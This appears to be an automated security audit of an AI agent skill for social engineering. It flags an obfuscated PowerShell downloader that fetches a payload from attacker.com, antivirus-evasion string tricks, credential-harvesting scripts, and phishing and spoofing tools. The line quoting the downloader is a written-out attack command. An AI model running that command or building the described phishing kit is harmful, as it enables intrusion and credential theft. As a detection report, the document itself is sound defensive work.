The Agent Skills Directory

[OBFUSCATION]: The skill documents and implements string manipulation techniques to evade signature-based security detections.\n
Evidence: The skill uses "bracket-broken" patterns such as I[E]X, net.web[c]lient, and download[s]tring to obscure malicious PowerShell commands.\n
Evidence: The content explicitly references these techniques as a means to bypass TrojanDownloader:O97M antivirus signatures.\n- [REMOTE_CODE_EXECUTION]: Multiple sections provide functional code for downloading and executing remote payloads from attacker-controlled servers.\n
Evidence: The VBA AutoOpen macro and HTA script use PowerShell downloaders: I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1').\n
Evidence: Ducky Script examples automate the execution of the same remote downloader pattern via keyboard emulation.\n- [DYNAMIC_EXECUTION]: The skill leverages runtime execution capabilities to trigger payloads.\n
Evidence: Use of PowerShell's Invoke-Expression (IEX) and VBScript's objShell.Run to execute dynamically fetched content.\n- [DATA_EXFILTRATION]: The skill provides ready-to-use templates for capturing and logging sensitive user credentials.\n
Evidence: A PHP harvester (harvest.php) captures POSTed usernames and passwords, logging them along with the victim's IP address and timestamp to a local file.\n
Evidence: A Python Flask application performs identical credential harvesting and logging functions.\n- [COMMAND_EXECUTION]: The instructions facilitate the deployment and operation of various offensive security frameworks.\n
Evidence: Extensive commands for configuring and launching gophish, setoolkit, BeEF, and SMTP spoofing tools like sendEmail and swaks.\n- [EXTERNAL_DOWNLOADS]: The skill automates the fetching of external tools and the mirroring of target websites.\n
Evidence: Downloads the Gophish framework binary directly from GitHub releases.\n
Evidence: Utilizes httrack, wget, and curl to mirror legitimate websites to create deceptive phishing landing pages.

performing-social-engineering